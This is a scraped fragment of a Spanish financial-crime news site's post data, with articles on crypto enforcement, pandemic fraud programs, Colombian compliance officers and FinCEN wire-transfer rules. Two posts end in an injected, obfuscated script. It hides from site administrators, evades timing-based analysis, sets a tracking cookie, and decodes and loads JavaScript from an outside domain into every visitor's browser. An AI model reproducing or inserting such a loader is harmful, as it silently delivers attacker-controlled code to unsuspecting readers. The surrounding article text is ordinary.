criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div 